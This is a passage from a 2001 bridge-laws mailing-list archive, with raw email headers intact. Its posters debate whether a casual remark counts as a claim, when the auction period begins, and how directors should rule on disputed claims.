<009301c08654$c6d53410$a310f7a5@james>, Craig Senior writes >And continue to do so. As I pointed out, a significant number of >posters on this thread think that it is a claim. Not all agree >that that is an ideal situation. > After reading the arguments I'm forced to conclude that I think it's a claim. I am not happy. I shall spring it on DWS next time he tries a weak 2, holding 6 of the suit (it happens). "Partner we can make 10 tricks" and see what happens. cheers john. -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:50:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1oKv02309 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:50:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1oEt02305 for ; Thu, 25 Jan 2001 12:50:14 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 24 Jan 2001 17:33:29 -0800 Message-ID: <017a01c0866e$ab6632a0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <001f01c08641$f164df90$a310f7a5@james> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 17:32:19 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Craig Senior" > I take it then that you favour having the Laws state that this > is not a claim. You have made some worthwhile arguments toward > that end. But that does not change the fact that the law as > presently written makes this a claim. I would agree that either > education or change is desirable. While 99.9999xx % do not > disagree with either of us, you and I agree that we should not > blindside players. The real violation (if any) seems to be one > of humourous conduct...and perhaps we don't want to say $&^#$%$# > em if they can't take a joke. I could easily live with this NOT > being a claim...if the law read differently...so long as we > punished any nefarious jokester who was seeking to disconcert > his opponents into defensive error. As you have cogently pointed > out, there are ample other means with which to do this. > I don't see those means as "ample." It is very difficult to determine that a defensive error can be blamed on declarer's casual remark to the effect that s/he will win a specific number of tricks. Better to prevent such remarks in the first place. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:58:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1vrm02321 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:57:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from moonlight.ixir.net (moonlight.ixir.net [213.186.155.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1vkt02317 for ; Thu, 25 Jan 2001 12:57:47 +1100 (EST) Received: from ethemhome ([213.43.101.19]) by moonlight.ixir.net with SMTP id <20010125015834.TBA7274.moonlight@ethemhome> for ; Thu, 25 Jan 2001 03:58:34 +0200 Message-ID: <000f01c08672$1e221e00$13652bd5@ethemhome> From: "Ethem Urkac" To: References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> Subject: Re: [BLML] Consistent Claim Adjudication Date: Thu, 25 Jan 2001 03:56:56 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I think the contract is NT. I would not think if i were the declarer or the defender. Insted I will try as possible as fair. Why to both sides, i will mentione it belove. 1-Declarer thinks cl's are running. So request him to cash the Q. Discarding a heart. Because he says later he will play the running SPs. So he will discard those heart losers. 2-I will request him to play the second club. But when opponent wining this, he will see that clubs are not good on side. So requesting him to discard a second heart would be not the normal line of play even if for the avarage player. While losing that trick he will keephis heart stoper. 3-From now and on play will continue normally. Probably defender will take his Ace of heart. Ethem Urkac ----- Original Message ----- From: "Peter Newman" To: Sent: Thursday, January 25, 2001 1:59 AM Subject: [BLML] Consistent Claim Adjudication > Hi All, > > Perhaps this is obvious....but if we can't agree whether "Making 12 tricks" > is a claim or not...;-) > [FWIW - put me down in the 'if the director is actually called in this > situation then it would be a claim' camp but hopefully if not intended as a > claim that everyone gets on with it (with L73 to handle the misleading > case)] > > On to more important matters - I really believe that claims should be > adjudicated in a manner so that players (like me) can expect consistency in > rulings.... > Last Sunday I was playing in an event with the following 6 card ending... > > T5 > -- > -- > Q654 > 87 64 > 87 A5 > 95 -- > -- 87 > KJ3 > KJ6 > -- > -- > > At this point declarer claims the rest (not realising that the clubs weren't > running) by (as players do) putting all the clubs on the table and saying > something along the line of "...and the spades at the end." > > As a player: > If you were declarer how many tricks do you think you are entitled to? What > about if you were defender? > > As a director: > How do you rule? > > Best Regards, > > Peter Newman > http://www.nswba.com.au > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 13:07:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P26o502356 for bridge-laws-outgoing; Thu, 25 Jan 2001 13:06:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P26gt02347 for ; Thu, 25 Jan 2001 13:06:43 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14Lbo3-000GaK-0Y for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 02:06:35 +0000 Message-ID: <5FRfN4AYn4b6Ewvd@probst.demon.co.uk> Date: Thu, 25 Jan 2001 02:05:12 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Consistent Claim Adjudication References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> <200101250044.QAA14844@mailhub.irvine.com> In-Reply-To: <200101250044.QAA14844@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <200101250044.QAA14844@mailhub.irvine.com>, Adam Beneschan writes > >Peter Newman wrote: > >> On to more important matters - I really believe that claims should be >> adjudicated in a manner so that players (like me) can expect consistency in >> rulings.... >> Last Sunday I was playing in an event with the following 6 card ending... >> >> T5 >> -- >> -- >> Q654 >> 87 64 >> 87 A5 >> 95 -- >> -- 87 >> KJ3 >> KJ6 >> -- >> -- >> >> At this point declarer claims the rest (not realising that the clubs weren't >> running) by (as players do) putting all the clubs on the table and saying >> something along the line of "...and the spades at the end." >> >> As a player: >> If you were declarer how many tricks do you think you are entitled to? In NT Four. wtp? >What >> about if you were defender? Two for the defence >> >> As a director: >> How do you rule? As above. wtp? No-one (well nearly no-one) in London would argue. > >My ruling is that I first ask the players, "what's the contract?" I >kind of need to know which suit, if any, is trumps. > > -- Adam >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 13:07:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P26u302361 for bridge-laws-outgoing; Thu, 25 Jan 2001 13:06:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P26gt02348 for ; Thu, 25 Jan 2001 13:06:43 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14Lbo5-000Gbm-0Y for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 02:06:38 +0000 Message-ID: <5FSf90AUk4b6EwPA@probst.demon.co.uk> Date: Thu, 25 Jan 2001 02:01:56 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Exposed Card before auction begins (?) References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <009901c0866e$8b6d6220$911c073e@pbncomputer> In-Reply-To: <009901c0866e$8b6d6220$911c073e@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <009901c0866e$8b6d6220$911c073e@pbncomputer>, David Burn writes snip > >The auction period on a deal begins for a side when either player looks >at the face of his cards. > >Now, "his cards" have more than one "face", so this sentence is >ambiguous as to whether the auction period begins when a player has >looked at the face of one of his cards, or the faces of all of his cards >(or the faces of at least two of his cards). I would tend to the view >that the words mean: "when either player looks at the face of [anything >belonging to the set of] his cards", thus I would say that the words >literally mean "when a player has looked at the face of at least one of >his cards". But other constructions are certainly supportable. Noo, noo. "face of a card" would be 1 card, definitely more than 1. We cannot play "first card inspected" as a system because of that. Maybe we can play first two cards inspected, so I should open 1NT when I have a pair (but 2NT if it's 2 aces), 1 of the higher ranking suit, when they're different suits, a weak 2 if it's a two-flush with an honour, and a 3-bid when it's at best 9-high. Now let's discuss the regulations relating to this approach. Am I required to show the Director my whole hand or just the cards I inspected? I really do think we have to inspect 'most of our cards' before we are in the auction, and I don't buy that we inspect more of them before we call than we did when we first looked. Otherwise two 12 card hands are never in the auction. -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:06:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P35Ut03827 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:05:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P35Nt03823 for ; Thu, 25 Jan 2001 14:05:24 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0P31hm03430; Wed, 24 Jan 2001 22:01:43 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <009901c0866e$8b6d6220$911c073e@pbncomputer> References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <009901c0866e$8b6d6220$911c073e@pbncomputer> Date: Wed, 24 Jan 2001 21:59:22 -0500 To: "David Burn" From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 1:31 AM +0000 1/25/01, David Burn wrote: >Thus, the question of whether or not the dropped card was exposed >during or before the auction is really immaterial. Gah. Maybe we should write the Laws in Loglan. I would interpret "looks at the face of his cards" in law 17 to mean he looks at the face(s) of his cards held in such a way that he can see those faces (all of them that are there - in case a card has somehow gone missing) but no one else can - that is, they way he's supposed to hold them during the hand. Hand in the sense of "the time between when he takes them out of the board and when he puts them back." Or maybe that's inaccurate, too. I would *not* interpret it as you would, David, simply because I can't believe I'm *supposed* to interpret it that way. As for Law 24, and when the card was dropped, I understand you, I think. But when I look at Law 7B1, Law 17, and Law 24 together, and the words "before the auction begins" in Law 16B, I can't believe that it didn't matter to the lawmakers when they made these laws, however badly they mangled the wording. I am, and have been, supportive of the idea that we ought to rule as the laws *say*, not as we think they ought to say. But your analysis here is almost enough to make me throw up my hands in disgust, and take Humpty Dumpty's position, and "interpret" the laws for myself. Or maybe just throw them out altogether. Almost, but not quite. Seems it's broke. So it needs to be fixed. I hope the promulgating authorities will take care of that in 2007. What do we do in the meantime? I'm minded of a scene in Heinlein's novel _Starship Troopers_. Our Hero is about to be sent out as a "temporary third lieutenant", to find out in actual combat if he's really suited to be an officer or not. The Commandant of the Officer Candidate School asks him what he'll do if all the officers senior to him in the chain of command are killed. He gives the book answer: "I'll take charge and act as best I can, given the tactical situation as I see it." The Commandant says "and you'll buy the farm, too. But at least you'll go down swinging." Is that where we are with the Laws? Jeez. Maybe the auction (for both sides) should start when any player removes his cards from the board. Or would that cause other problems? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm+X7r2UW3au93vOEQKKLACfePRqjvoRGRGhyaELsveNHuaYcrsAnjyr j3GOk+l1EG+MSEwNnlaQmbWf =w2OD -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:15:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P3FKe04106 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:15:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P3FEt04100 for ; Thu, 25 Jan 2001 14:15:14 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0P3BPb00366; Wed, 24 Jan 2001 22:11:26 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: Date: Wed, 24 Jan 2001 22:13:53 -0500 To: David Stevenson From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: Bridge Laws Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >It also seems reasonable [why can I hear the baying of hounds behind >me] that it should be ruled this way, which feels correct. The problem, David, is that the laws are apparently so badly written that almost *any* ruling in this case would be right - or wrong. I suppose that, if you remove your cards from the board, keeping them face down while you count them IAW Law 7B1, and then turn them over, at that point, you could say the auction starts, even though you haven't yet actually seen the faces of *all* your cards. I suppose it boils down to what you intended when you turned them over. Or we could change law 17 so that the auction starts when you remove the cards from the board, though that might have adverse effects I haven't considered. I do agree that it doesn't seem likely that the lawmakers intended that a card dropped face up accidently should mark the beginning of the auction. So what do we do? Get the WBFLC to issue a minute clarifying whether it's one card or all cards (or something in between)? Make a note to change the Law in 2007? Run around in circles shouting "the sky is falling"? (I'm tempted. I really am. :-) Take the bull by the horns and do the best we can when we have to rule? All of the above? I'll think I'll go have a beer and watch some television. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm+aNL2UW3au93vOEQJwnACfQ530nMvB0Vqv1j9eSN948S1drMoAn3ff gliX+uGqEAhNeEo2NGm8FGSm =vHcc -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:25:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P3Pdk04331 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:25:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-0.nyroc.rr.com [24.92.226.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P3PWt04324 for ; Thu, 25 Jan 2001 14:25:32 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0P3LNb04130; Wed, 24 Jan 2001 22:21:24 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.6.32.20010124103010.007b7a20@ux1.cts.eiu.edu> References: <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> <3.0.6.32.20010124103010.007b7a20@ux1.cts.eiu.edu> Date: Wed, 24 Jan 2001 22:21:17 -0500 To: Grant Sterling From: Ed Reppert Subject: Re: [BLML] Claim? Cc: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 10:30 AM -0600 1/24/01, Grant Sterling wrote: >If the fact that the player had no intention of claiming is >irrelevant to whether he has claimed, it must be equally irrelevant as to >whether he has made his clarification statement 'at once'. L70D disallows >any later correction of a clarification statement [well, disallows it >whenever it would be helpful to declarer!], so once the non-claim is >treated as a claim it is too late for declarer to clarify. Well, I suppose one could argue that if declarer doesn't think it's a claim, and opponent does, and calls the TD, then it's up to the TD to decide whether it's a claim or not. And in that event, "at once" ought to mean "as soon as TD decides it's a claim". In much the same way as "without pause for thought" is from the moment of realization, not the actual placing of bidding cards. > If your comment about demanding a written test on the laws of bridge >was meant to suggest that since the player cannot have been aware that he >was claiming, we should in all justice allow him to give a clarification >statement even though the law appears to say that he cannot, I would say >that a far better application of justice would be to admit that he hasn't >claimed in the first place, even though the law appears to say that he >has. Yeah. :-\ Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm+cir2UW3au93vOEQImpACfVSrGoj1D/rBiK127hUeqPap2M/IAnAsP Jszucymbz1dT2Lg6Rr66C0nZ =Cjpr -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:34:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P3YF304564 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:34:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P3Y8t04560 for ; Thu, 25 Jan 2001 14:34:09 +1100 (EST) Received: from hirschd (user-vcauhkq.dsl.mindspring.com [216.175.70.154]) by hall.mail.mindspring.net (8.9.3/8.8.5) with SMTP id WAA30485 for ; Wed, 24 Jan 2001 22:34:04 -0500 (EST) Message-ID: <007b01c0867f$a7d81a20$0200000a@mindspring.com> From: "Hirsch Davis" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 22:33:59 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, January 23, 2001 11:04 PM Subject: Re: [BLML] Claim? > > We have reached a position where one side says the wording is clear so > it is a claim, and one side says that the ramifications cannot have been > meant to be so terrible, and if everyone knows it is not a claim thne it > cannot be a claim. I really do not think we can say how many people > support which position. > What governs here? If a statement is a claim, as defined by the Laws, yet everyone knows that it was not intended to be a claim, what decides the issue? Do we rule based on what "everyone knows?" Do we rule based on the personal views of the TD making the ruling? Or are we going to simply rule as the Laws tell us we must? If the wording is clear that it is a claim, then it is a claim. If the ramifications are terrible, we can debate it endlessly on this list. In the meantime, we continue to enforce it as a claim until the WBFLC issues an interpretation that tells us to do otherwise. The real question is not whether or not the Law says that the original remark was a claim: it does. The real issue is whether or not a TD can selectively enforce the Laws so that only those Laws that the TD finds in the "spirit of the game" or some such get enforced. It may seem draconian to treat a harmless remark made in jest as a claim. So what? There is a simple declarative sentence in the Laws that tells us we must do so. All of the arguments that have been advanced indicating that treating the statement as a harmless remark, rather than a claim, have been red herrings that do not in the least alter the wording in the Laws. The Law in this situation is clear. Is it binding on the TD, or not? That's the real issue here. If we are not going to regard a clear and unambiguous statement in the Laws as absolutely binding on TDs and players, like it or not, we might as well stop referring to the the Laws, and start calling them the Suggestions. Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:45:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P3jlG04880 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:45:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P3jet04876 for ; Thu, 25 Jan 2001 14:45:41 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0P3flm14231; Wed, 24 Jan 2001 22:41:47 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.6.32.20010124174353.00851110@pop.ulb.ac.be> References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> <3.0.6.32.20010124174353.00851110@pop.ulb.ac.be> Date: Wed, 24 Jan 2001 22:40:58 -0500 To: alain gottcheiner From: Ed Reppert Subject: Re: [BLML] Let's get back to the easy stuff Cc: "David Burn" , Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 5:43 PM +0100 1/24/01, alain gottcheiner wrote: >Hmm, by the way, does one have to alert BOOTs ? I suppose it depends. :-) A BOOT is an irregularity, and once attention is called to it, the TD must be called. Law 9B2 says "no player shall take any action until the Director has explained all matters in regard to rectification and to the assessment of a penalty." So once attention is called to the BOOT, you *can't* alert it. But you're supposed to alert before LHO takes action (presumably calls, but in this case...) I suppose if you see that it's a BOOT, and you want to call attention to it, doing so takes precedence over alerting, because the one is a procedure in the Laws, and the other is in regulations outside the laws, but I might be wrong about that. >Now how are the opponents to guess there is something special about the 1D >opening ? May they enquire about bids that were, according to the law, >never made ? Hm. Law 20F1 says questions may be asked about bids "relevant, but not made". I think 1D, although technically not made, is relevant to this auction. :-) Then, too, if one bids 3NT when he knows partner is barred, must be he has some reason to expect he has some chance to make it (unless it's a psyche.) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm+hWr2UW3au93vOEQIrEwCfRZ5nlNRCsrV4m6n/QatDF+Yu6dkAoOlA 32aqV7gFC9VcbTdPbvrFKgNT =OdMu -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 14:55:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P3tF205127 for bridge-laws-outgoing; Thu, 25 Jan 2001 14:55:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P3t8t05119 for ; Thu, 25 Jan 2001 14:55:09 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0P3pOm17585; Wed, 24 Jan 2001 22:51:24 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <009d01c08627$47c95fc0$9a9c1e18@san.rr.com> References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <009d01c08627$47c95fc0$9a9c1e18@san.rr.com> Date: Wed, 24 Jan 2001 22:46:42 -0500 To: "Marvin L. French" From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: "Bridge Laws" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 8:54 AM -0800 1/24/01, Marvin L. French wrote: >Yes, but "the auction" starts when it starts for one side. In a race with >staggered starting 